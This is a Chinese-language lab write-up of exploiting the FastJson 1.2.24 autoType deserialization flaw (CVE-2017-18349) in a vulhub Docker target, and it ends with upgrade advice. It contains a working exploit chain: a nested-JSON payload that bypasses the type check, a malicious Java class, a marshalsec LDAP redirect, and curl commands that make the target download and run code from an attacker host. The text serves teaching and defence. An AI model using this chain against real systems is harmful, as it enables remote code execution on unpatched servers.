0.前言与踩过的坑
暑假匆匆过去,又到了乖宝宝学习的时间了,这个其实是跑了回家前就搞完的了,现在才发出来意思一下,有些东西可能忘记写进去或者干脆不想写进去了,摆烂太久忘得可能有点多了。
FastJson 是阿里巴巴开源的 Java JSON 解析库,因其高性能在国内 Java 项目中广泛使用。2017 年披露的 CVE-2017-18349 是其最著名的漏洞之一:FastJson 1.2.24 及以下版本中 `autoType` 默认开启,攻击者可通过 `@type` 字段指定任意类触发反序列化,最终实现远程代码执行。
本文记录从零开始搭建环境、理解原理、完成攻击到踩坑总结的完整过程。
0.1 类型约束的坑------`type not match` 不是终点
直接用@type` 直接指定 JdbcRowSetImpl 时,返回 `type not match`,尝试java.lang.AutoCloseable`(一个 JDK 自带接口)当探针测试,发现同样是 `type not match` 而不是 `autoType is not support`,这说明autoType开关确确实实是开的,确实实例化了,但类型转化错误
autoType is not support → 类被拦截在加载阶段 → 漏洞不存在
type not match → 类已经加载并实例化,只是最后类型转换失败 → 漏洞存在!
但问题来了:漏洞存在 ≠ 能直接利用。`/` 接口的代码是 `JSON.parseObject(data, User.class)`,`User.class` 作为类型约束,在解析 `@type` 时做了类型检查。`JdbcRowSetImpl` 不是 `User` 的子类,直接被拦截,`setDataSourceName` 和 `setAutoCommit` 根本没被调用,JNDI 副作用不触发。
tcpdump 抓包 0 packets,搭好的 LDAP 服务没有任何请求进来------铁证。
0.2 嵌套 JSON 绕过类型检查
绕过的关键来自 Agent 搜索到的 payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://...","autoCommit":true}}
原理:外层 `b` 是 `Object` 类型字段,`User` 类通过类型检查 ✅。内层 `@type` 在反序列化 `b` 字段时才触发,此时没有类型约束,`JdbcRowSetImpl` 的属性设置正常执行,JNDI 触发。
1.环境准备
| 组件 | 版本 / 来源 | 用途 |
|---|---|---|
| 靶场 | vulhub/fastjson/1.2.24-rce (Docker) | 漏洞环境 |
| 攻击机 | Kali Linux 2025.4 | 攻击主机 |
| JDK 21 javac | Kali 自带 | 编译恶意类(--release 8 对齐目标) |
| marshalsec | 预编译 jar | JNDI LDAP 转发服务 |
| Python HTTP Server | 系统自带 | 托管恶意 class 文件 |
| nc | 系统自带 | 带外回显 / 反弹 shell 监听 |
2.基本原理与核心代码审计
这一部分详细可以去看我之前的文章,这里只做简单介绍
2.1基本概念
FastJson 是阿里巴巴开源的高性能 JSON 解析库,核心功能是把 JSON 字符串和 Java 对象互相转换:
java
```java
// 序列化:Java 对象 → JSON 字符串
String json = JSON.toJSONString(user);
// → {"name":"Bob","age":25}
java
// 反序列化:JSON 字符串 → Java 对象
User user = JSON.parseObject(json, User.class);
```
2.2 为什么会爆出反序列化漏洞?
FastJson 有一个 `@type` 字段,作用是**指定反序列化的目标类**:
```json
{"@type":"com.example.User","name":"Bob","age":25}
```
正常情况下,`@type` 的值应该是业务需要的类。但 FastJson 1.2.24 的 `autoType` 默认开启,**不做任何限制**,攻击者可以指定任意 JDK 自带类或第三方库中的类。
漏洞根源: FastJson 反序列化时会自动调用目标对象的 **setter 方法**。某些 JDK 类的 setter 有副作用------比如 `JdbcRowSetImpl.setAutoCommit(true)` 会触发 JNDI 远程加载。
2.3 核心利用链
① 攻击者发送 JSON:
{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://攻击机:1389/Evil",
"autoCommit":true}
② FastJson 反序列化:
-
实例化 JdbcRowSetImpl
-
调用 setDataSourceName("ldap://攻击机:1389/Evil") ← 记住地址
-
调用 setAutoCommit(true) ← 触发 JNDI lookup
③ JdbcRowSetImpl 内部:
connect() → InitialContext.lookup("ldap://...")
↓
连接攻击机的 LDAP 服务 → 下载恶意类 → 执行恶意类的 static{} 代码块
```
2.4 核心代码审计
靶场控制器的关键代码:
java
```java
// vulhub/fastjson/1.2.24-rce 的 JSONController.java
@Controller
public class JSONController {
@RequestMapping(value = "/", method = RequestMethod.POST)
@ResponseBody
public User parse(@RequestBody String data) {
// 关键:parseObject 的第二个参数 User.class 施加了类型约束
User user = JSON.parseObject(data, User.class);
return user;
}
}
```
`parseObject(data, User.class)` 中的 `User.class` 是类型约束。如果直接在 JSON 顶层写 `@type` 指定非 User 类,FastJson 在解析阶段就会做类型检查并抛 `type not match`。
**绕过方式------嵌套 JSON:**
java
java
// User 类中如果有 Object 类型的字段
public class User {
private String name;
private int age;
private Object b; // ← Object 类型,无约束!
}
当 JSON 是 `{"b":{"@type":"JdbcRowSetImpl",...}}` 时:
-
外层 `b` 是 Object,`User` 通过检查 ✅
-
内层 `@type` 在反序列化 `b` 时触发,此时没有类型约束
-
`JdbcRowSetImpl` 的属性设置正常执行,JNDI 触发
3. 攻击流程(重点)
3.1 指纹识别
先确认是 FastJson 靶场:
bash
curl -i http://192.168.153.1:8081/
# 返回: {"age":25,"name":"Bob"}
特征: 纯 JSON 响应 + 教学示例数据 → FastJson 靶场
3.2 探测 POST 解析行为
bash
curl -i -X POST http://192.168.153.1:8081/-H "Content-Type: application/json"-d '{"name":"test","age":1}'
返回: {"age":20,"name":"test"}
注意: age:1 变成了 age:20 → age 没有 setter,保持默认值 20,大概可以猜到这个age可能是写死的,而name经历了反序列化和序列化的过程
3.3 验证 autoType 是否开启
bash
curl -i -X POST http://192.168.153.1:8081/-H "Content-Type: application/json" -d '{"@type":"java.lang.AutoCloseable"}'
返回: "message":"type not match"
关键: 不是 "autoType is not support" → autoType 开启 ✅
判断逻辑:
type not match → 类已加载,已实例化 → autoType 没拦 → 漏洞存在
autoType is not support → 类被拦截在加载前 → 安全
3.4 编写恶意类
java
TouchFile.java
import java.lang.Runtime;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
rt.exec(commands).waitFor();
} catch (Exception e) { }
}
}
3.5 编译(版本对齐)
bash
# 用 --release 8 指定目标为 JDK 8
javac --release 8 TouchFile.java
验证版本号
javap -verbose TouchFile.class | grep "major version"
输出: major version: 52 ← 52 = Java 8 ✅
3.6 启动服务
bash
# 窗口 1: HTTP 服务(托管 TouchFile.class,端口 8000)
python3 -m http.server 8000
bash
# 窗口 2: marshalsec LDAP 服务(端口 9191,转发到 HTTP)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer \
"http://192.168.153.128:8000/#TouchFile" 9191
3.7 发送攻击 payload
bash
curl -i -X POST http://192.168.153.1:8081/ \
-H "Content-Type: application/json" \
-d '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.153.128:9191/TouchFile","autoCommit":true}}'
3.8 结果分析
返回
json
bash
{
"timestamp":1787918123486,
"status":500,
"error":"Internal Server Error",
"message":"set property error, autoCommit",
"path":"/"
}
**LDAP 日志:**
bash
Listening on 0.0.0.0:9191
Send LDAP reference result for TouchFile redirecting to http://192.168.153.128:8000/TouchFile.class
**HTTP 日志:**
bash
192.168.153.1 - GET /TouchFile.class HTTP/1.1 200
**攻击链全流程:**
```
① 嵌套 JSON 绕过类型检查
{"b":{"@type":"JdbcRowSetImpl",...}}
→ 外层 b 是 Object,User 类型检查通过 ✅
→ 内层 @type 在反序列化 b 时触发 autoType
② JdbcRowSetImpl.setAutoCommit(true)
→ 触发 connect() → JNDI lookup("ldap://192.168.153.128:9191/TouchFile")
③ marshalsec LDAP 服务
→ 返回重定向:http://192.168.153.128:8000/TouchFile.class
④ 靶机下载 TouchFile.class
→ HTTP 200 ✅
⑤ FastJson 加载 TouchFile 类
→ static {} 块执行 → touch /tmp/success ✅
4. 修复方案
4.1 升级 FastJson
FastJson 1.2.25 开始引入 `autoType` 黑名单机制,1.2.68 引入 `safeMode`。最低要求升级到 **1.2.83+**:
```xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>